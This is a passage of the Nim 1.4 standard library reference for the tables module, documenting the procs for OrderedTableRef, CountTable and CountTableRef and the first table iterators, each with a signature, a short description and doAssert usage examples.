proc](#hasKey,OrderedTableRef%5BA,B%5D,A) * [[] proc](#%5B%5D,OrderedTableRef%5BA,B%5D,A) for retrieving a value of a key * [getOrDefault proc](#getOrDefault,OrderedTableRef%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,OrderedTableRef%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` var a = {'a': 5, 'b': 9}.newOrderedTable if a.hasKeyOrPut('a', 50): a['a'] = 99 if a.hasKeyOrPut('z', 50): a['z'] = 99 doAssert a == {'a': 99, 'b': 9, 'z': 50}.newOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1893) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1893) ``` proc getOrDefault[A, B](t: OrderedTableRef[A, B]; key: A): B ``` Retrieves the value at `t[key]` if `key` is in `t`. Otherwise, the default initialization value for type `B` is returned (e.g. 0 for any integer type). See also: * [[] proc](#%5B%5D,OrderedTableRef%5BA,B%5D,A) for retrieving a value of a key * [hasKey proc](#hasKey,OrderedTableRef%5BA,B%5D,A) * [hasKeyOrPut proc](#hasKeyOrPut,OrderedTableRef%5BA,B%5D,A,B) * [mgetOrPut proc](#mgetOrPut,OrderedTableRef%5BA,B%5D,A,B) * [getOrDefault proc](#getOrDefault,OrderedTableRef%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` let a = {'a': 5, 'b': 9}.newOrderedTable doAssert a.getOrDefault('a') == 5 doAssert a.getOrDefault('z') == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1913) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1913) ``` proc getOrDefault[A, B](t: OrderedTableRef[A, B]; key: A; default: B): B ``` Retrieves the value at `t[key]` if `key` is in `t`. Otherwise, `default` is returned. See also: * [[] proc](#%5B%5D,OrderedTableRef%5BA,B%5D,A) for retrieving a value of a key * [hasKey proc](#hasKey,OrderedTableRef%5BA,B%5D,A) * [hasKeyOrPut proc](#hasKeyOrPut,OrderedTableRef%5BA,B%5D,A,B) * [mgetOrPut proc](#mgetOrPut,OrderedTableRef%5BA,B%5D,A,B) * [getOrDefault proc](#getOrDefault,OrderedTableRef%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist **Example:** ``` let a = {'a': 5, 'b': 9}.newOrderedTable doAssert a.getOrDefault('a', 99) == 5 doAssert a.getOrDefault('z', 99) == 99 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1932) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1932) ``` proc mgetOrPut[A, B](t: OrderedTableRef[A, B]; key: A; val: B): var B ``` Retrieves value at `t[key]` or puts `val` if not present, either way returning a value which can be modified. See also: * [[] proc](#%5B%5D,OrderedTableRef%5BA,B%5D,A) for retrieving a value of a key * [hasKey proc](#hasKey,OrderedTableRef%5BA,B%5D,A) * [hasKeyOrPut proc](#hasKeyOrPut,OrderedTableRef%5BA,B%5D,A,B) * [getOrDefault proc](#getOrDefault,OrderedTableRef%5BA,B%5D,A) to return a default value (e.g. zero for int) if the key doesn't exist * [getOrDefault proc](#getOrDefault,OrderedTableRef%5BA,B%5D,A,B) to return a custom value if the key doesn't exist **Example:** ``` var a = {'a': 5, 'b': 9}.newOrderedTable doAssert a.mgetOrPut('a', 99) == 5 doAssert a.mgetOrPut('z', 99) == 99 doAssert a == {'a': 5, 'b': 9, 'z': 99}.newOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1950) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1950) ``` proc len[A, B](t: OrderedTableRef[A, B]): int {...}{.inline.} ``` Returns the number of keys in `t`. **Example:** ``` let a = {'a': 5, 'b': 9}.newOrderedTable doAssert len(a) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1970) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1970) ``` proc add[A, B](t: OrderedTableRef[A, B]; key: A; val: sink B) {...}{.deprecated: "Deprecated since v1.4; it was more confusing than useful, use `[]=`".} ``` **Deprecated:** Deprecated since v1.4; it was more confusing than useful, use `[]=` Puts a new `(key, value)` pair into `t` even if `t[key]` already exists. **This can introduce duplicate keys into the table!** Use [[]= proc](#%5B%5D=,OrderedTableRef%5BA,B%5D,A,B) for inserting a new (key, value) pair in the table without introducing duplicates. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1978) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1978) ``` proc del[A, B](t: OrderedTableRef[A, B]; key: A) ``` Deletes `key` from hash table `t`. Does nothing if the key does not exist. See also: * [clear proc](#clear,OrderedTableRef%5BA,B%5D) to empty the whole table **Example:** ``` var a = {'a': 5, 'b': 9, 'c': 13}.newOrderedTable a.del('a') doAssert a == {'b': 9, 'c': 13}.newOrderedTable a.del('z') doAssert a == {'b': 9, 'c': 13}.newOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1988) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1988) ``` proc pop[A, B](t: OrderedTableRef[A, B]; key: A; val: var B): bool ``` Deletes the `key` from the table. Returns `true`, if the `key` existed, and sets `val` to the mapping of the key. Otherwise, returns `false`, and the `val` is unchanged. See also: * [del proc](#del,OrderedTableRef%5BA,B%5D,A) * [clear proc](#clear,OrderedTableRef%5BA,B%5D) to empty the whole table **Example:** ``` var a = {'c': 5, 'b': 9, 'a': 13}.newOrderedTable i: int doAssert a.pop('b', i) == true doAssert a == {'c': 5, 'a': 13}.newOrderedTable doAssert i == 9 i = 0 doAssert a.pop('z', i) == false doAssert a == {'c': 5, 'a': 13}.newOrderedTable doAssert i == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2002) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2002) ``` proc clear[A, B](t: OrderedTableRef[A, B]) ``` Resets the table so that it is empty. See also: * [del proc](#del,OrderedTableRef%5BA,B%5D,A) **Example:** ``` var a = {'a': 5, 'b': 9, 'c': 13}.newOrderedTable doAssert len(a) == 3 clear(a) doAssert len(a) == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2025) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2025) ``` proc sort[A, B](t: OrderedTableRef[A, B]; cmp: proc (x, y: (A, B)): int; order = SortOrder.Ascending) ``` Sorts `t` according to the function `cmp`. This modifies the internal list that kept the insertion order, so insertion order is lost after this call but key lookup and insertions remain possible after `sort` (in contrast to the [sort proc](#sort,CountTableRef%5BA%5D) for count tables). **Example:** ``` import algorithm var a = newOrderedTable[char, int]() for i, c in "cab": a[c] = 10*i doAssert a == {'c': 0, 'a': 10, 'b': 20}.newOrderedTable a.sort(system.cmp) doAssert a == {'a': 10, 'b': 20, 'c': 0}.newOrderedTable a.sort(system.cmp, order = SortOrder.Descending) doAssert a == {'c': 0, 'b': 20, 'a': 10}.newOrderedTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2038) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2038) ``` proc `$`[A, B](t: OrderedTableRef[A, B]): string ``` The `$` operator for hash tables. Used internally when calling `echo` on a table. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2059) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2059) ``` proc `==`[A, B](s, t: OrderedTableRef[A, B]): bool ``` The `==` operator for ordered hash tables. Returns true if either both tables are `nil`, or neither is `nil` and the content and the order of both are equal. **Example:** ``` let a = {'a': 5, 'b': 9, 'c': 13}.newOrderedTable b = {'b': 9, 'c': 13, 'a': 5}.newOrderedTable doAssert a != b ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2064) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2064) ``` proc initCountTable[A](initialSize = defaultInitialSize): CountTable[A] ``` Creates a new count table that is empty. Starting from Nim v0.20, tables are initialized by default and it is not necessary to call this function explicitly. See also: * [toCountTable proc](#toCountTable,openArray%5BA%5D) * [newCountTable proc](#newCountTable,int) for creating a `CountTableRef` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2255) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2255) ``` proc toCountTable[A](keys: openArray[A]): CountTable[A] ``` Creates a new count table with every member of a container `keys` having a count of how many times it occurs in that container. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2267) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2267) ``` proc `[]`[A](t: CountTable[A]; key: A): int ``` Retrieves the value at `t[key]` if `key` is in `t`. Otherwise `0` is returned. See also: * [getOrDefault](#getOrDefault,CountTable%5BA%5D,A,int) to return a custom value if the key doesn't exist * [[]= proc](#%5B%5D%3D,CountTable%5BA%5D,A,int) for inserting a new (key, value) pair in the table * [hasKey proc](#hasKey,CountTable%5BA%5D,A) for checking if a key is in the table [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2273) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2273) ``` proc `[]=`[A](t: var CountTable[A]; key: A; val: int) ``` Inserts a `(key, value)` pair into `t`. See also: * [[] proc](#%5B%5D,CountTable%5BA%5D,A) for retrieving a value of a key * [inc proc](#inc,CountTable%5BA%5D,A,Positive) for incrementing a value of a key [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2291) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2291) ``` proc inc[A](t: var CountTable[A]; key: A; val = 1) ``` Increments `t[key]` by `val` (default: 1). **Example:** ``` var a = toCountTable("aab") a.inc('a') a.inc('b', 10) doAssert a == toCountTable("aaabbbbbbbbbbb") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2309) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2309) ``` proc len[A](t: CountTable[A]): int ``` Returns the number of keys in `t`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2327) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2327) ``` proc smallest[A](t: CountTable[A]): tuple[key: A, val: int] ``` Returns the `(key, value)` pair with the smallest `val`. Efficiency: O(n) See also: * [largest proc](#largest,CountTable%5BA%5D) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2331) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2331) ``` proc largest[A](t: CountTable[A]): tuple[key: A, val: int] ``` Returns the `(key, value)` pair with the largest `val`. Efficiency: O(n) See also: * [smallest proc](#smallest,CountTable%5BA%5D) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2344) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2344) ``` proc hasKey[A](t: CountTable[A]; key: A): bool ``` Returns true if `key` is in the table `t`. See also: * [contains proc](#contains,CountTable%5BA%5D,A) for use with the `in` operator * [[] proc](#%5B%5D,CountTable%5BA%5D,A) for retrieving a value of a key * [getOrDefault proc](#getOrDefault,CountTable%5BA%5D,A,int) to return a custom value if the key doesn't exist [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2356) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2356) ``` proc contains[A](t: CountTable[A]; key: A): bool ``` Alias of [hasKey proc](#hasKey,CountTable%5BA%5D,A) for use with the `in` operator. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2368) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2368) ``` proc getOrDefault[A](t: CountTable[A]; key: A; default: int = 0): int ``` Retrieves the value at `t[key]` if`key` is in `t`. Otherwise, the integer value of `default` is returned. See also: * [[] proc](#%5B%5D,CountTable%5BA%5D,A) for retrieving a value of a key * [hasKey proc](#hasKey,CountTable%5BA%5D,A) for checking if a key is in the table [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2373) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2373) ``` proc del[A](t: var CountTable[A]; key: A) ``` Deletes `key` from table `t`. Does nothing if the key does not exist. See also: * [pop proc](#pop,CountTable%5BA%5D,A,int) * [clear proc](#clear,CountTable%5BA%5D) to empty the whole table **Example:** ``` var a = toCountTable("aabbbccccc") a.del('b') assert a == toCountTable("aaccccc") a.del('b') assert a == toCountTable("aaccccc") a.del('c') assert a == toCountTable("aa") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2383) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2383) ``` proc pop[A](t: var CountTable[A]; key: A; val: var int): bool ``` Deletes the `key` from the table. Returns `true`, if the `key` existed, and sets `val` to the mapping of the key. Otherwise, returns `false`, and the `val` is unchanged. See also: * [del proc](#del,CountTable%5BA%5D,A) * [clear proc](#clear,CountTable%5BA%5D) to empty the whole table **Example:** ``` var a = toCountTable("aabbbccccc") var i = 0 assert a.pop('b', i) assert i == 3 i = 99 assert not a.pop('b', i) assert i == 99 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2400) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2400) ``` proc clear[A](t: var CountTable[A]) ``` Resets the table so that it is empty. See also: * [del proc](#del,CountTable%5BA%5D,A) * [pop proc](#pop,CountTable%5BA%5D,A,int) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2424) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2424) ``` proc sort[A](t: var CountTable[A]; order = SortOrder.Descending) ``` Sorts the count table so that, by default, the entry with the highest counter comes first. **WARNING:** This is destructive! Once sorted, you must not modify `t` afterwards! You can use the iterators [pairs](#pairs.i,CountTable%5BA%5D), [keys](#keys.i,CountTable%5BA%5D), and [values](#values.i,CountTable%5BA%5D) to iterate over `t` in the sorted order. **Example:** ``` import algorithm, sequtils var a = toCountTable("abracadabra") doAssert a == "aaaaabbrrcd".toCountTable a.sort() doAssert toSeq(a.values) == @[5, 2, 2, 1, 1] a.sort(SortOrder.Ascending) doAssert toSeq(a.values) == @[1, 1, 2, 2, 5] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2436) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2436) ``` proc merge[A](s: var CountTable[A]; t: CountTable[A]) ``` Merges the second table into the first one (must be declared as `var`). **Example:** ``` var a = toCountTable("aaabbc") let b = toCountTable("bcc") a.merge(b) doAssert a == toCountTable("aaabbbccc") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2457) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2457) ``` proc `$`[A](t: CountTable[A]): string ``` The `$` operator for count tables. Used internally when calling `echo` on a table. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2483) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2483) ``` proc `==`[A](s, t: CountTable[A]): bool ``` The `==` operator for count tables. Returns `true` if both tables contain the same keys with the same count. Insert order does not matter. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2488) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2488) ``` proc newCountTable[A](initialSize = defaultInitialSize): CountTableRef[A] ``` Creates a new ref count table that is empty. See also: * [newCountTable proc](#newCountTable,openArray%5BA%5D) for creating a `CountTableRef` from a collection * [initCountTable proc](#initCountTable,int) for creating a `CountTable` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2613) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2613) ``` proc newCountTable[A](keys: openArray[A]): CountTableRef[A] ``` Creates a new ref count table with every member of a container `keys` having a count of how many times it occurs in that container. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2624) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2624) ``` proc `[]`[A](t: CountTableRef[A]; key: A): int ``` Retrieves the value at `t[key]` if `key` is in `t`. Otherwise `0` is returned. See also: * [getOrDefault](#getOrDefault,CountTableRef%5BA%5D,A,int) to return a custom value if the key doesn't exist * [inc proc](#inc,CountTableRef%5BA%5D,A) to inc even if missing * [[]= proc](#%5B%5D%3D,CountTableRef%5BA%5D,A,int) for inserting a new (key, value) pair in the table * [hasKey proc](#hasKey,CountTableRef%5BA%5D,A) for checking if a key is in the table [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2630) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2630) ``` proc `[]=`[A](t: CountTableRef[A]; key: A; val: int) ``` Inserts a `(key, value)` pair into `t`. See also: * [[] proc](#%5B%5D,CountTableRef%5BA%5D,A) for retrieving a value of a key * [inc proc](#inc,CountTableRef%5BA%5D,A,int) for incrementing a value of a key [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2644) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2644) ``` proc inc[A](t: CountTableRef[A]; key: A; val = 1) ``` Increments `t[key]` by `val` (default: 1). **Example:** ``` var a = newCountTable("aab") a.inc('a') a.inc('b', 10) doAssert a == newCountTable("aaabbbbbbbbbbb") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2654) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2654) ``` proc smallest[A](t: CountTableRef[A]): tuple[key: A, val: int] ``` Returns the `(key, value)` pair with the smallest `val`. Efficiency: O(n) See also: * [largest proc](#largest,CountTableRef%5BA%5D) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2663) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2663) ``` proc largest[A](t: CountTableRef[A]): tuple[key: A, val: int] ``` Returns the `(key, value)` pair with the largest `val`. Efficiency: O(n) See also: * [smallest proc](#smallest,CountTable%5BA%5D) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2670) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2670) ``` proc hasKey[A](t: CountTableRef[A]; key: A): bool ``` Returns true if `key` is in the table `t`. See also: * [contains proc](#contains,CountTableRef%5BA%5D,A) for use with the `in` operator * [[] proc](#%5B%5D,CountTableRef%5BA%5D,A) for retrieving a value of a key * [getOrDefault proc](#getOrDefault,CountTableRef%5BA%5D,A,int) to return a custom value if the key doesn't exist [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2677) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2677) ``` proc contains[A](t: CountTableRef[A]; key: A): bool ``` Alias of [hasKey proc](#hasKey,CountTableRef%5BA%5D,A) for use with the `in` operator. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2688) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2688) ``` proc getOrDefault[A](t: CountTableRef[A]; key: A; default: int): int ``` Retrieves the value at `t[key]` if`key` is in `t`. Otherwise, the integer value of `default` is returned. See also: * [[] proc](#%5B%5D,CountTableRef%5BA%5D,A) for retrieving a value of a key * [hasKey proc](#hasKey,CountTableRef%5BA%5D,A) for checking if a key is in the table [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2693) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2693) ``` proc len[A](t: CountTableRef[A]): int ``` Returns the number of keys in `t`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2703) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2703) ``` proc del[A](t: CountTableRef[A]; key: A) ``` Deletes `key` from table `t`. Does nothing if the key does not exist. See also: * [pop proc](#pop,CountTableRef%5BA%5D,A,int) * [clear proc](#clear,CountTableRef%5BA%5D) to empty the whole table [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2707) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2707) ``` proc pop[A](t: CountTableRef[A]; key: A; val: var int): bool ``` Deletes the `key` from the table. Returns `true`, if the `key` existed, and sets `val` to the mapping of the key. Otherwise, returns `false`, and the `val` is unchanged. See also: * [del proc](#del,CountTableRef%5BA%5D,A) * [clear proc](#clear,CountTableRef%5BA%5D) to empty the whole table [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2715) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2715) ``` proc clear[A](t: CountTableRef[A]) ``` Resets the table so that it is empty. See also: * [del proc](#del,CountTableRef%5BA%5D,A) * [pop proc](#pop,CountTableRef%5BA%5D,A,int) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2726) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2726) ``` proc sort[A](t: CountTableRef[A]; order = SortOrder.Descending) ``` Sorts the count table so that, by default, the entry with the highest counter comes first. **This is destructive! You must not modify `t` afterwards!** You can use the iterators [pairs](#pairs.i,CountTableRef%5BA%5D), [keys](#keys.i,CountTableRef%5BA%5D), and [values](#values.i,CountTableRef%5BA%5D) to iterate over `t` in the sorted order. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2734) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2734) ``` proc merge[A](s, t: CountTableRef[A]) ``` Merges the second table into the first one. **Example:** ``` let a = newCountTable("aaabbc") b = newCountTable("bcc") a.merge(b) doAssert a == newCountTable("aaabbbccc") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2745) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2745) ``` proc `$`[A](t: CountTableRef[A]): string ``` The `$` operator for count tables. Used internally when calling `echo` on a table. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2756) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2756) ``` proc `==`[A](s, t: CountTableRef[A]): bool ``` The `==` operator for count tables. Returns `true` if either both tables are `nil`, or neither is `nil` and both contain the same keys with the same count. Insert order does not matter. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L2761) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L2761) Iterators --------- ``` iterator pairs[A, B](t: Table[A, B]): (A, B) ``` Iterates over any `(key, value)` pair in the table `t`. See also: * [mpairs iterator](#mpairs.i,Table%5BA,B%5D) * [keys iterator](#keys.i,Table%5BA,B%5D) * [values iterator](#values.i,Table%5BA,B%5D) **Examples:** ``` let a = { 'o': [1, 5, 7, 9], 'e': [2, 4, 6, 8] }.toTable for k, v in a.pairs: echo "key: ", k echo "value: ", v # key: e # value: [2, 4, 6, 8] # key: o # value: [1, 5, 7, 9] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L653) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L653) ``` iterator mpairs[A, B](t: var Table[A, B]): (A, var B) ``` Iterates over any `(key, value)` pair in the table `t` (must be declared as `var`). The values can be modified. See also: * [pairs iterator](#pairs.i,Table%5BA,B%5D) * [mvalues iterator](#mvalues.i,Table%5BA,B%5D) **Example:** ``` var a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.toTable for k, v in a.mpairs: v.add(v[0] + 10) doAssert a == {'e': @[2, 4, 6, 8, 12], 'o': @[1, 5, 7, 9, 11]}.toTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L683) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L683) ``` iterator keys[A, B](t: Table[A, B]): A ``` Iterates over any key in the table `t`. See also: * [pairs iterator](#pairs.i,Table%5BA,B%5D) * [values iterator](#values.i,Table%5BA,B%5D) **Example:** ``` var a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.toTable for k in a.keys: a[k].add(99) doAssert a == {'e': @[2, 4, 6, 8, 99], 'o': @[1, 5, 7, 9, 99]}.toTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L705) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L705) ``` iterator values[A, B](t: Table[A, B]): B ``` Iterates over any value in the table `t`. See also: * [pairs iterator](#pairs.i,Table%5BA,B%5D) * [keys iterator](#keys.i,Table%5BA,B%5D) * [mvalues iterator](#mvalues.i,Table%5BA,B%5D) **Example:** ``` let a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.toTable for v in a.values: doAssert v.len == 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L726) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L726) ``` iterator mvalues[A, B](t: var Table[A, B]): var B ``` Iterates over any value in the table `t` (must be declared as `var`). The values can be modified. See also: * [mpairs iterator](#mpairs.i,Table%5BA,B%5D) * [values iterator](#values.i,Table%5BA,B%5D) **Example:** ``` var a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.toTable for v in a.mvalues: v.add(99) doAssert a == {'e': @[2, 4, 6, 8, 99], 'o': @[1, 5, 7, 9, 99]}.toTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L747) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L747) ``` iterator allValues[A, B](t: Table[A, B]; key: A): B {...}{.deprecated: "Deprecated since v1.4; tables with duplicated keys are deprecated".} ``` **Deprecated:** Deprecated since v1.4; tables with duplicated keys are deprecated Iterates over any value in the table `t` that belongs to the given `key`. Used if you have a table with duplicate keys (as a result of using [add proc](#add,Table%5BA,B%5D,A,B)). **Example:** ``` import sequtils, algorithm var a = {'a': 3, 'b': 5}.toTable for i in 1..3: a.add('z', 10*i) doAssert toSeq(a.pairs).sorted == @[('a', 3), ('b', 5), ('z', 10), ('z', 20), ('z', 30)] doAssert sorted(toSeq(a.allValues('z'))) == @[10, 20, 30] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L769) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L769) ``` iterator pairs[A, B](t: TableRef[A, B]): (A, B) ``` Iterates over any `(key, value)` pair in the table `t`. See also: * [mpairs iterator](#mpairs.i,TableRef%5BA,B%5D) * [keys iterator](#keys.i,TableRef%5BA,B%5D) * [values iterator](#values.i,TableRef%5BA,B%5D) **Examples:** ``` let a = { 'o': [1, 5, 7, 9], 'e': [2, 4, 6, 8] }.newTable for k, v in a.pairs: echo "key: ", k echo "value: ", v # key: e # value: [2, 4, 6, 8] # key: o # value: [1, 5, 7, 9] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1097) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1097) ``` iterator mpairs[A, B](t: TableRef[A, B]): (A, var B) ``` Iterates over any `(key, value)` pair in the table `t`. The values can be modified. See also: * [pairs iterator](#pairs.i,TableRef%5BA,B%5D) * [mvalues iterator](#mvalues.i,TableRef%5BA,B%5D) **Example:** ``` let a = { 'o': @[1, 5, 7, 9], 'e': @[2, 4, 6, 8] }.newTable for k, v in a.mpairs: v.add(v[0] + 10) doAssert a == {'e': @[2, 4, 6, 8, 12], 'o': @[1, 5, 7, 9, 11]}.newTable ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/tables.nim#L1127) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/tables.nim#L1127) ``` iterator keys[A, B](t: 